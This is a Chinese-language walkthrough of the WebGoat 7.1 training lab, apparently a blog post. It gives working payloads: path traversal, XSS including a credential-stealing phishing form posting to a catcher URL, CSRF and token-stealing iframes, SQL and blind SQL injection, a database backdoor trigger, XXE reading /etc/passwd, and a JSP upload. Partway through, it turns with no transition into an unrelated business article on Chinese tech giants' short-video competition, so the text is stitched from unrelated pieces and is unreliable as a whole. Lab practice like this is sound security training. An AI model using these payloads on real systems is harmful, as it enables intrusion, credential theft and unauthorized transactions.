安装

docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1

网站:http://IP:8080/WebGoat/login.mvc

如果想要进去docker容器,docker ps查看容器,然后docker exec –it 容器ID /bin/bash

General

Http Basics(HTTP基础)

该选项是显示HTTP数据包的内容,使用burpsuit代理抓取数据包,我在EnterYourName输入1,下面数据包person参数接收1。

POST/WebGoat/attack?Screen=1869022003&menu=100 HTTP/1.1

Host: 223.168.1.128:8000

User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 19

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

person=1&SUBMIT=Go!

Access Control Flaws(访问控制缺陷)

Using an Access Control Matrix(使用访问控制矩阵)

在基于角色的访问控制方案中,角色表示一组访问权限和权限。用户可以被分配一个或多个角色。基于角色的访问控制方案通常由角色权限管理和角色分配两部分组成。基于角色的访问控制方案可能允许用户执行他/她分配的角色不允许的访问,或以某种方式允许向未授权角色提升权限。

 

一般目标:

每个用户都是允许访问某些资源的角色的成员。您的目标是探索管理此网站的访问控制规则。只有[Admin]组才能访问“Account Manager”资源。

示范如下:

MOE用户不允许访问该组

Clipboard Image.png

Larry允许访问该组,左上角打钩代表课程完成。

Clipboard Image.png

Bypass a Path Based Access Control Scheme(绕过路径访问控制方案)

‘webgoat’用户可以访问lessonPlans/en目录中的所有文件。 尝试破坏访问控制机制并访问不在列出的目录中的资源。 选择要查看的文件后,WebGoat将报告是否授予对文件的访问权限。 尝试获取的有趣文件可能是像WEB-INF/spring-security.xml这样的文件。 请记住,文件路径将根据WebGoat的启动方式而有所不同。

当前路径:

/.extract/webapps/WebGoat/plugin_extracted/plugin/BlindStringSqlInjection/lessonPlans/en/BlindStringSqlInjection.html

Clipboard Image.png

现在我们要获取WEB-INF/spring-security.xml文件的内容。首先说一下../代表上一级目录,其次我们要找到文件的路径,最后更改文件路径。

操作如下,使用burpsuit修改File参数的内容:

POST/WebGoat/attack?Screen=231255157&menu=200 HTTP/1.1

Host: 223.168.1.128:8000

User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Accept: */*

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type:application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:http://223.168.1.128:8000/WebGoat/start.mvc

Content-Length: 64

Cookie:JSESSIONID=9CC338A02AEA2ADCB44302FDB691BB09

Connection: close

 

File=../../../../../WEB-INF/spring-security.xml&SUBMIT=View+File

 

Clipboard Image.png

 

LAB: Role Based Access Control(基于角色的访问控制)

该类型分四个阶段,故而在下面阶段演示。

Stage 1: Bypass Business Layer Access Control(阶段1:绕过业务层访问控制)

作为普通员工“tom”,利用弱访问控制来使用“职员列表”页面中的“删除”功能。验证可以删除汤姆的个人资料。用户的密码是小写的给定名称(例如Tom Cat的密码是“tom”)。

Clipboard Image.png

登录进去之后,对ViewProfile按钮进行抓包

Clipboard Image.png

修改action参数的内容为DeleteProfile,然后发送数据包即可。

Clipboard Image.png

Stage 2: Add Business Layer Access Control.

本课程仅与WEBGOAT的开发者版本协调工作

执行修复以拒绝未经授权的访问删除功能。为此,您必须更改WebGoat代码。完成此操作后,重复第1步,并验证是否正确地拒绝对DeleteProfile功能的访问。

进入docker容器

Clipboard Image.png

查看代码

因为本人不熟悉Java代码,所以这一部分跳过。

Stage 3: Breaking Data LayerAccess Control(阶段3:打破数据层访问控制)

目标:作为普通员工“tom”,利用弱访问控制来查看其他员工的个人资料。

使用tom用户登录

Clipboard Image.png

对viewprofile按钮进行抓包,105是tom的ID号,而Larry的ID号为101,修改ID为101

Clipboard Image.png

Clipboard Image.png

Stage 4: Add Data Layer Access Control.(阶段4:添加数据层访问控制。)略

AJAX Security

DOM Injection

*您的受害者是一个系统,需要一个激活密钥才能使用它。

*您的目标应该是尝试启用激活按钮。

*请花一些时间查看HTML源码,以了解关键验证过程的工作原理。

使用调试器,找到activate按钮的源代码,将disable=“”这一段删除,然后按钮启用,点击按钮即可。

Clipboard Image.png

Clipboard Image.png

LAB: DOM-Based cross-site scripting

阶段1:对于本练习,您的任务是使用以下位置的图像对本网站进行描述:OWASP IMAGE

在输入框输入<img src=”images/logos/owasp.jpg” />,点击按钮

Clipboard Image.png

STAGE 2:现在,尝试使用image标签创建JavaScript警报

在输入框输入<img src=test onerror=”alert(‘this is xss test’)”>,点击按钮即可

Clipboard Image.png

Clipboard Image.png

阶段3:接下来,尝试使用IFRAME标签创建JavaScript警报。

在输入框输入<iframe src=javascript:alert(0)></iframe>,点击按钮即可

Clipboard Image.png

阶段4:使用以下命令创建假登录表单:

Hello, Please enter your password :<BR><inputtype = "password" name="pass"/><buttononClick="javascript:alert('I have your password:'+pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

Clipboard Image.png

阶段5:执行客户端HTML实体编码以减轻DOM XSS漏洞。在escape.js中为您提供了一种实用方法。

进入docker容器

Clipboard Image.png

修改DOMXSS.js,在name加上escapeHTML(),即escapeHTML(name),然后保存即可。

LAB: Client Side Filtering(LAB:客户端过滤)

阶段1:您以山羊山金融公司(CSO)Moe Stooge的身份登录。您可以访问公司信息中的每个人,除了CEO,内维尔巴塞洛缪。或者至少你不应该访问CEO的信息。对于此练习,请检查页面的内容,以查看可以找到的额外信息。

使用调试器,找到Bartholomew,输入450000

Clipboard Image.png

阶段2:现在,解决问题。修改服务器只返回可以看到Mustache的结果。

Clipboard Image.png

刷新网页,点击Click here when you believe you have completed the lesson.按钮

Clipboard Image.png

XML Injection

WebGoat-Miles奖励里程显示所有可用的奖励。 输入帐户号码后,课程将显示您的余额和您负担得起的产品。 您的目标是尝试为您所允许的一套奖励增加更多奖励。 您的帐户ID是836239。

在输入框输入836239

Clipboard Image.png

使用调试器找到勾选框所在的源代码,添加两个<tr>,然后将所有框都打上勾

Clipboard Image.png

Clipboard Image.png

JSON Injection

*您从波士顿,MA-机场代码BOS到西雅图,WA – 机场代码SEA。

*输入机场的三位数代码后,将会执行一个AJAX请求,询问机票价格。

*你会注意到有两个航班可用,一个昂贵的一个没有停止,另一个便宜的一个有2站。

*你的目标是试图要一个没有停止,但更便宜的价格。

正常是这样

Clipboard Image.png

使用burpsuit抓取,并显示响应包

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

还有另外一种思路,直接改最后的数据包

Clipboard Image.png

Silent Transactions Attacks(静默交易攻击)

*这是一个示例的网上银行应用程序 – 汇款页面。

*显示在您的余额之下,您转移的账户和您将转账的金额。

*应用程序使用AJAX在进行一些基本的客户端验证后提交交易。

*您的目标是尝试绕过用户的授权,并以静默方式执行交易。

Clipboard Image.png

在调试器输入javascript:submitData(12345,11111111111)

Clipboard Image.png

Insecure Client Storage(不安全的客户端存储)

阶段1:对于此练习,您的任务是发现优惠券代码以获得意想不到的折扣。

使用firebug对js进行调试,发现优惠价代码:PRESSTWO

Clipboard Image.png

Clipboard Image.png

阶段2:现在,尝试免费获得整个订单。

Clipboard Image.png

Clipboard Image.png

Dangerous Use of Eval

对于这个练习,你的任务是提出一些包含脚本的输入。您必须尝试将此页面反映回您的浏览器,这将执行脚本。为了通过本课程,您必须’alert()’document.cookie。

在输入框输入123′)%3Balert(document.cookie)%3B(‘

Clipboard Image.png

Same Origin Policy Protection

本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。

输入网址:/WebGoat/plugin_extracted/plugin/SameOriginPolicyProtection/jsp/sameOrigin.jsp

Clipboard Image.png

输入网址:http://www.google.com/search?q=aspect+security

This exercise demonstrates the Same OriginPolicy Protection.  XHR requests can onlybe passed back to  the originatingserver.  Attempts to pass data to anon-originating server  will fail.(本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。)

Clipboard Image.png

Authentication Flaws(认证漏洞)

Password Strength(密码强度)

您的Web应用程序的帐户与密码一样安全。对于此练习,您的工作是在https://howsecureismypassword.net上测试多个密码。 您必须同时测试所有6个密码…

在你的应用程序你应该设置好的密码要求!

桌面电脑需要多少时间来破解这些密码?

Clipboard Image.png

Forgot Password(忘记密码)

Web应用程序经常为用户提供检索忘记密码的能力。 不幸的是,许多Web应用程序无法正确实现机制。 验证用户身份所需的信息往往过于简单。

一般目标:

如果用户可以正确回答这个秘密问题,用户可以检索密码。这个“忘记密码”页面上没有锁定机制。您的用户名是“webgoat”,您最喜欢的颜色是“红色”。目标是检索另一个用户的密码。

Clipboard Image.png

我检索admin用户

Clipboard Image.png

Multi Level Login 1

阶段1:这个阶段只是为了展示一个经典的多登录是如何工作的。您的目标是通过用户Jane和密码tarzan进行常规登录。您有以下TAN:

Tan#1 = 15648

Tan#2 = 92156

Tan#3 = 4879

Tan#4 = 9458

Tan#5 = 4879

登录

Clipboard Image.png

Buffer Overflows

Off-by-One Overflows(逐个溢出)

第一步操作,东西随便填。

第二步操作,使用burpsuit拦截

Clipboard Image.png

Clipboard Image.png

将拦截到数据包发送到intruder

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Code Quality(代码质量)

Discover Clues in the HTML(在HTML中发现线索)

开发人员在源代码中留下诸如FIXME,TODO,Code Broken,Hack等的信息。 以下是基于表单的身份验证形式的示例。 寻找帮助您登录的线索。

Clipboard Image.png

Concurrency(并发)

Thread Safety Problems(线程安全问题)

用户应该能够利用此Web应用程序中的并发错误,并查看正在尝试同一功能的另一个用户的登录信息。这将需要使用两个浏览器。有效的用户名为’jeff’和’dave’。
请输入您的用户名以访问您的帐户。

手速要快!!!打开两个浏览器输入jeff

Clipboard Image.png

Shopping Cart Concurrency Flaw(购物车并发缺陷)

对于此练习,您的任务是利用并发问题,这样可以以更低的价格购买商品。

A浏览器选择购买

Clipboard Image.png

Clipboard Image.png

B浏览器选择更新

Clipboard Image.png

然后在A浏览器看到可以用较低的钱买价格高的东西

Clipboard Image.png

Clipboard Image.png

Cross-Site Scripting (XSS)

Phishing with XSS(网络钓鱼XSS)

本课程是网页如果在网页上发生已知XSS攻击时可能支持网络钓鱼攻击的示例

以下是标准搜索功能的示例。

使用XSS和HTML插入,您的目标是:

     将html插入该请求凭据

     添加javascript以实际收集凭据

     将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…

要通过本课程,凭证必须发布到捕获者servlet。

在输入框输入一下代码

<script>functionhack(){ alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.forms[1].user.value + "Password =" + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="http://192.168.8.89:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value+ "&password=" + document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="button" name="login" value="login"onclick="hack()"></form><br><br><HR>

Clipboard Image.png

LAB: Cross Site Scripting

Stage 1: Stored XSS

第一步,先使用tom账号登录(密码:tom)

Clipboard Image.png

Clipboard Image.png

第二步,使用HR(密码:jerry)号登录,查看tom的信息

Clipboard Image.png

 

Stage 2: Block Stored XSS using Input Validation(修复过程略)

Stage 3: Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户(密码:david)登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Clipboard Image.png

Clipboard Image.png

Stage 4: Block Stored XSS using Output Encoding(修复过程略)

 Stage 5: Reflected XSS

使用用户Larry(密码:larry)登录,在Search Staff搜索框中输入。

Clipboard Image.png

Clipboard Image.png

Stage 6: Block Reflected XSS(修复过程略)

Stored XSS Attacks(存储型XSS)

在表单输入<script>alert(0)</script>
Clipboard Image.png

Clipboard Image.png

Reflected XSS Attacks(反射型XSS)

Clipboard Image.png

<img src=“attack?Screen=2078372&menu=900&transferFunds=5000″/>
Clipboard Image.png

Cross Site Request Forgery (CSRF)

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。

<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

Clipboard Image.png

Clipboard Image.png

CSRF Prompt By-Pass

类似于CSRF课程,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求触发的提示。 URL应该使用此CSRF-prompt-by-pass课程的屏幕,菜单参数和具有数字值(例如“5000”)的额外参数“transferFunds”来指向攻击小服务程序,以启动传输和字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数,创建格式为“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的网址。 谁收到这封电子邮件,恰好在当时被认证,将有资金转移。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

<img src="http://192.168.8.89:8080/WebGoat/attack?Screen=227&menu=900&transferFunds=5000" onerror="document.getElementById('image2').src='http://192.168.8.89:8080/WebGoat/attack?Screen=227&menu=900&transferFunds=CONFIRM'"> <imgid="image2">

Clipboard Image.png

Clipboard Image.png

CSRF Token By-Pass

类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

<script>

var readToken = function(){

var doc = document.getElementById("frame1").contentDocument

var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");

alert(token);

var frame2 = document.getElementById("frame2");

frame2.src = "http://192.168.8.89:8080/WebGoat/attack?Screen=2&menu=900&transferFunds=4000&CSRFToken="+token;

}

</script>

<iframe id="frame2" >

</iframe>

<iframe id="frame1" onload="readToken()" src="http://192.168.8.89:8080/WebGoat/attack?Screen=2&menu=900&transferFunds=main" >

</iframe>

Clipboard Image.png

Clipboard Image.png

 

HTTPOnly Test

为了帮助减轻跨站点脚本威胁,Microsoft已经推出了一个名为“HttpOnly”的新Cookie。 如果设置了此标志,则浏览器不允许客户端脚本访问该cookie。 由于属性相对较新,因此若干浏览器忽略了正确处理新属性。

有关受支持浏览器的列表,请参阅:OWASP HTTPOnly支持

一般目标:

本课的目的是测试您的浏览器是否支持HTTPOnly cookie标志。 注意unique2u cookie的值。 如果您的浏览器支持HTTPOnly,并且您启用Cookie,则客户端代码无法读取或写入该cookie,但浏览器仍可将其值发送到服务器。 某些浏览器只能防止客户端读取访问,但不要阻止写入访问。

打开HTTPOnly属性后,在浏览器地址栏中输入“javascript:alert(document.cookie)”。 注意除了unique2u cookie之外,所有Cookie都会显示。

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png
Clipboard Image.png

Improper Error Handling(不当的错误处理)

Fail Open Authentication Scheme(失败的认证方案)

由于认证机制中的错误处理问题,可以在不输入密码的情况下认证为“webgo”用户。 尝试以webgoet用户身份登录,而不指定密码。

Clipboard Image.png

删除password参数

Clipboard Image.png

Clipboard Image.png

Injection Flaws

Command Injection(命令注入)

命令注入攻击是对任何参数驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,而且也是一个威胁,有一点常识和预想,几乎完全可以防止。本课将向学生展示参数注入的几个例子。

清理所有输入数据,特别是将在OS命令,脚本和数据库查询中使用的数据是一贯的良好做法。

尝试向操作系统注入一个命令。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Numeric SQL Injection(数字型注入)

Clipboard Image.png

Clipboard Image.png

Log Spoofing(日志欺骗)

*以下灰色区域表示Web服务器的日志文件中将要记录的内容。

*您的目标是让用户名“admin”成功登录。

*通过向日志文件添加脚本来提升攻击。

在输入框输入:Smith%0d%0aLogin Succeeded for username: admin

Clipboard Image.png

Clipboard Image.png

XPATH Injection

下面的表格允许员工查看他们所有的个人资料,包括他们的工资。 您的帐户是Mike / test123。 您的目标是尝试查看其他员工的数据。

在用户输入框输入Smith’ or 1=1 or ‘a’='a,密码框随便输入

Clipboard Image.png

Clipboard Image.png

String SQL Injection(字符串注入)

SQL注入攻击是对任何数据库驱动的站点的严重威胁。攻击背后的方法易于学习,造成的损害可能会从相当大的到完全的系统妥协。尽管有这些风险,互联网上的令人难以置信的系统容易受到这种形式的攻击。

不仅容易引起威胁,还可以轻而易举地预防这种威胁。

即使以其他方式阻止了SQL注入的威胁,所有的操作都是清理所有输入数据,尤其是在OS命令,脚本和数据库查询中使用的数据。

一般目标:

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。

现在您已成功执行SQL注入,请尝试对参数化查询进行相同类型的攻击。如果您希望返回到可注入的查询,请重新启动课程。

Clipboard Image.png

Clipboard Image.png

LAB: SQL Injection

Stage 1: String SQL Injection

Clipboard Image.png

Clipboard Image.png

Stage 2: Parameterized Query #1(修复方式:参数化查询)

Stage 3: Numeric SQL Injection

使用larry用户登录

Clipboard Image.png

Clipboard Image.png

刷新浏览器

Clipboard Image.png

Stage 4: Parameterized Query #2(修复方式:参数化查询)

Database Backdoors(数据库后面)

101;update employee set salary=1234567 where userid=101

Clipboard Image.png

101;create trigger mybackdoor

before insert on employee foreach row begin update

employee setemail=’[email protected]’ where userid=new.userid

Clipboard Image.png

Blind Numeric SQL Injection(数字型盲注)

101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 1000 );

Clipboard Image.png

Clipboard Image.png

一直用二分法找到数字是2364

Clipboard Image.png

Blind String SQL Injection(字符串盲注)

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );

Clipboard Image.png

第二个字符:改成2,以此类推。

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );

答案找到是Jill

Clipboard Image.png

 

Denial of Service(拒绝服务攻击)

ZipBomb(压缩包炸弹)

服务器只接受ZIP文件,在上传后提取它们,并与其一起删除,并提供20 MB的临时存储来处理所有请求,尝试执行DOS攻击,消耗所有临时存储与一个请求

简单来说,一直上传低于20M的压缩包,把服务器弄崩溃

Denial of Service from Multiple Logins

先获取所有帐号

Clipboard Image.png

打开三个页面

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png
Clipboard Image.png

Insecure Communication(不安全的通讯)

Insecure Login(不安全登录)

使用调试器看到密码

Clipboard Image.png

Clipboard Image.png
第二阶段改成https
Clipboard Image.png
Clipboard Image.png

Insecure Storage(不安全存储)

Encoding Basics(加密基础)

Clipboard Image.png

Malicious Execution(恶意执行)

Malicious File Execution(恶意文件执行)

<HTML>

<% java.io.File file= newjava.io.File("/.extract/webapps/WebGoat/mfe_target/webgoat.txt");file.createNewFile();%>

</HTML>

保存成jsp上传

Clipboard Image.png

http://192.168.8.89:8080/WebGoat/uploads/1.jsp,再刷新一下浏览器即可

Parameter Tampering(参数修改)

Bypass HTML Field Restrictions

将表单启用,再使用burpsuit抓包,随便修改6个参数内容

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

XML External Entity (XXE)

<?xml version="1.0"?>

 <!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<searchForm> <from>&xxe;</from></searchForm>

Clipboard Image.png

Exploit Hidden Fields(利用隐藏的字段)

简单来说,就是改了前端的值

Clipboard Image.png

Clipboard Image.png

 

Exploit Unchecked Email

此表格是客户支持页面的示例。 使用下面的表单尝试:

1)向网站admin发送恶意脚本。

2)从OWASP向“朋友”发送恶意脚本。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 

Bypass Client Side JavaScript Validation

该网站执行客户端和服务器端验证。 对于此练习,您的工作是打破客户端验证并发送不期望的网站输入。 您必须同时打破所有7个验证器。

Clipboard Image.png

Clipboard Image.png
Clipboard Image.png

Session Management Flaws

Hijack a Session(点击劫持)

参考视频:https://www.youtube.com/watch?v=FA5FjjV4L7Y

Cookie里面的WEAKID这个参数是会话标识。我们知道如果客户端发送给Web服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过Cookie返回给客户端

Clipboard Image.png

发送数据包到sequencer选项
Clipboard Image.png
Clipboard Image.png
由于burpsuite的fuzz不到cookie的位置,故显示不了效果,具体的可以参照视频。
Clipboard Image.png
Clipboard Image.png

 Spoof an Authentication Cookie(欺骗认证Cookie)

Webgoat:AuthCookie=65432ubphcfx

Aspect:AuthCookie=65432udfqtb

alice用户的cookie是65432,ecilaèfdjmb

分析cookie,64532是不变的,后面的字符串是经历逆转字符串,然后往后推一位

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

 

Session Fixation(会话固定)

在网站后面添加&SID=45

Clipboard Image.png

Clipboard Image.png

按照提示输入用户名和密码

Clipboard Image.png

Clipboard Image.png

第四步,直接打开192.168.8.89:8080/WebGoat/start.mvc#attack/2007866518/1800&SID=45

Clipboard Image.png

Web Services

Create a SOAP Request

Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,试图执行在Web服务定义语言(WSDL)中定义的功能。 让我们来了解一些关于WSDL文件的内容。 查看WebGoat的Web服务描述语言(WSDL)文件。

一般目标:

尝试使用浏览器或Web Service工具连接到WSDL。 Web服务的URL是:http://localhost/WebGoat/services/SoapRequest通常可以在Web服务请求的末尾添加一个WSDL来查看WSDL。 您必须访问2个操作才能通过本课程。

拦截请求并通过发送有效的帐户的有效SOAP请求来调用任何方法。

您必须至少访问2个方法来传递课程。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

使用burpsuit的wsdler插件分析SOAP,但是测试发现无法完成该课程,思路是对的,只是它的验证方法可能与我不对。

Clipboard Image.png

WSDL Scanning

Clipboard Image.png

Clipboard Image.png

修改参数内容

Clipboard Image.png

Web Service SAX Injection

Web服务通过使用SOAP请求进行通信。 这些请求被提交给Web服务,以尝试执行在Web服务定义语言(WSDL)文件中定义的功能。

一般目标:

一些Web界面在后台使用Web服务。 如果前端依赖于Web服务进行所有输入验证,则可能会破坏Web界面发送的XML。

在本练习中,尝试更改101以外的用户的密码。

在输入框输入下面内容

<id xsi:type='xsd:int'>102</id>

<password xsi:type='xsd:string'>[email protected]$$w0rd?</password>

Clipboard Image.png

Web Service SQL Injection

使用burpsuit的插件wsdler

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

1.jpg

近年来,短视频风口渐盛,引来腾讯、阿里、微博、今日头条等众多巨头投身红海。为了能在短视频领域中拥有绝对的话语权,一场巨头短视频争夺大战就这样轰轰烈烈地展开了。

头条系短视频点燃短视频大战,但受限于格局

早在2015年的时候,今日头条就进行“千人万元”的短视频扶持计划了,而在去年9月份,今日头条再次宣布投入10亿元来对“头条号”进行短视频内容的扶持,今年5月16日,今日头条又宣布投入10亿的资金来扶持火山小视频,由此可看出,自始至终,今日头条都是通过补贴来扶持短视频内容创作者来提高平台流量,而这也是打开平台知名度的第一步。

此外,为了能在短视频大战中拔得头筹,今日头条开始向外实行“挖人计划”。今年5月,快手网络主播天佑被头条系的火山小视频以2000万的高价挖走,其他一些网红主播也被头条系短视频以不同的价码挖走,意图以此来吸引更多的用户。从扶持到挖人,今日头条对短视频的把握全然以“人”为核心,这也可以看出,今日头条相信更多头部创作者的加入会成为致胜的关键。

在短视频应用上,今日头条内有火山小视频、西瓜视频和抖音视频对外攻击,外有Tiki作为防守,对短视频进行由内而外的全面布局。为了能成为短视频领域中的领军人物,今日头条还制定了“全球化”战略,通过对产品内容板块的资源进行整合扩张,来实现短视频内容、头条直播、广告页面和专题等多种板块的合理分配。全球化战略的提出和落实针对的不仅是流量上的相互导入,更是对短视频结合形式多样化的一种思考。

当然,所有的布局都是为了更好地击败对手。不久前,头条系中的火山小视频和抖音更是对快手展开了一场合围厮杀,由火山小视频在四川一个小山村举办发布会,开始向农村方向进军,力图动摇快手的农村根据地,继而抖音则开始自上而下培养明星网红,想要截断快手向一、二线城市进军的道路。

只是,今日头条将大部分的精力都放在了短视频上,整日以如何让短视频获得更多关注度为主,极少去思考这样做对短视频的长久发展是否有用,如果用户新鲜感一过就会产品审美疲劳,在短视频内容创作已逐渐步入工厂流水式生产的时代,这不利于头条系短视频的长远发展。

微博与一下科技携手打天下,自身定位拖后腿

在短视频领域上,微博与秒拍形成合作战略关系,在2016年3月微博专门出台“短视频作者扶持计划”,并于同年9月拿出一亿美元来扶持短视频,微博给秒拍提供了播放平台,使得秒拍在某种程度上拥有了微博庞大的用户群体,同时弥补了微博短视频的不足,为微博带来许多新的用户。

此外,微博的“盟友”一下科技对秒拍投入了10亿人民币的资助,让秒拍在各方面的发展都有了最基本的保障,秒拍通过提高短视频的内容质量及鼓励短视频的原创来提高自己的点击率和用户量,这加大了微博自身在短视频战场上对决的砝码。

目的很明确,微博想通过与一下科技旗下的秒拍、小咖秀、一直播合作将PGC与UGC结合打造成一个优质集合体,且在今年4月份微博推出了具有短视频功能的“微博故事”,逐渐将短视频的内容创作推向个性化方向,以差异化赢得更多的市场。

为了让微博的短视频内容生态比之前更具有活跃度,微博在内容结构上实施产品内容的垂直化,这加大了视频创作者与用户之间的粘性。此外,微博的内容板块形成文字+图片+直播或文字+图片+视频等多种形式,通过对短视频的引流,实现二次崛起。

值得注意的是,微博与头条系短视频的抖音存在比较明显的对抗关系,自抖音火起来之后,一下科技中的小咖秀在其应用中加入了与抖音功能相似的晃咖,以此来对战今日头条。

只是微博太过依赖于一下科技,自家短视频应用不给力,导致微博始终处在一个比较被动的位置,而微博故事还不足以支撑微博用户在短视频上的需求。且微博是一个社交媒体平台,微博只是短视频的搬运工,将短视频从各个短视频平台搬来自己的平台上发布,在某种意义上来说,只是社交中的一种调味剂。

腾讯携快手加入短视频大战,然因标签化难推广

今年三月份的时候腾讯宣布对快手进行3.5亿美元的融资,推出了“芒种计划”,自媒体可以通过腾讯旗下的其他平台来发布内容,且腾讯还对原创内容给予2亿元的补贴,而且个人在平台赚取的费用,平台不多加干预,通过这个方式来拉拢优质短视频的原创者,从内容上对短视频进行布局,争抢流量入口。

此外,为了能在短视频领域站稳脚跟,腾讯还对快手的推广采用了“两两结合”模式,将快手与腾讯的一系列产品结合,形成类似快手+QQ空间的格局,增加了快手的点击率和用户量。通过将各种流量入口打包给快手,腾讯在短视频领域的野心非常明显,进一步加强短视频社交对用户的吸引,同时也巩固自身社交巨头的地位。

腾讯对短视频的思考也离不开死灰复燃的微视。不久前,腾讯将微视复活,与今日头条旗下的抖音和一下科技的晃咖在功能上有其相似之处的微视,由此加入这一类以音乐为定位的短视频领域,意在从垂直化领域切入,挑战抖音等对手的地位。

然而,快手有一个固定化的标签,其短视频内容不够优质,受众群体比较集中,存在局限性,这个标签本身对快手向一、二线城市推广就存在阻碍,且快手并没有内容分享功能,用户性质的高度细分和单一也限制了快手内容的传播,这使得腾讯在短视频大战上难免有些施展不开。

阿里对土豆进行短视频转型,迟入局是硬伤

今年3月底,阿里巴巴宣布将土豆网向短视频转型,据了解,为了推动土豆短视频的发展,阿里出资20亿元实施“大鱼计划”,用以推动PUGC视频的发展。创作者可以通过制作优秀的短视频内容来获取利益的收入,如果发布的内容影响力够大,创作者可以与土豆、优酷和UC一起分摊其广告投放带来的收益,这就为短视频内容的创作者提供了创作的动力,加强了阿里在短视频的对战能力。

对比来看,这与优酷内容推广计划如出一辙,与今日头条等扶持计划有所不同的是,以广告这种成熟变现模式来计算短视频的收益是一种比较稳健的做法,有利于区分短视频内容的优劣。

而在对土豆短视频的传播中,阿里旗下的多方平台可以使短视频实行由一点进行接入,由多面实施播放的推广方式,如旗下的天猫、淘宝等都可以为土豆短视频提供播放渠道,实施由短视频+电商这一新模式。同时,为了让更多的用户在观看短视频的时候没有太多的顾虑,土豆短视频联合中国联通、中国电信和中国移动推出一系列免费或低价的指定产品,这提高了短视频的点击率,为阿里在短视频大战中加持护体。

然而,短视频大战已经进入下半场,阿里此时入局短视频能抢占的资源并不多了,因为人们在使用短视频上都已经形成一个习惯,此刻入局则更难获得用户关注并吸引流量,且土豆短视频转型的不够彻底,还保留着原来的特色,如今人们提到土豆想到的是视频播放器而不是短视频平台,对进军短视频的阿里来说,在场内高手如云的情况下,仍然需要在内容和渠道上多下功夫。

看似繁荣的背后短视频问题日益凸显

从巨头在短视频领域的各种花式操作来看,大抵有贴钱和流量入口两种扶持方式。如此来看,短视频大战倒更像是一场建立在资本上的游戏,但正因如此,激战正酣的短视频战场也出现了一些难以解决的问题。

随着投资者和创业者对短视频的不断投入,短视频进入了产品同质化、内容低俗化的恶性循坏之中,如腾讯复活的微视与抖音、晃咖等短视频应用的功能相似,且如今就连火山小视频也逐渐向快手靠近,而这类短视频应用功能的同化将给用户带来视觉上的审美疲劳。

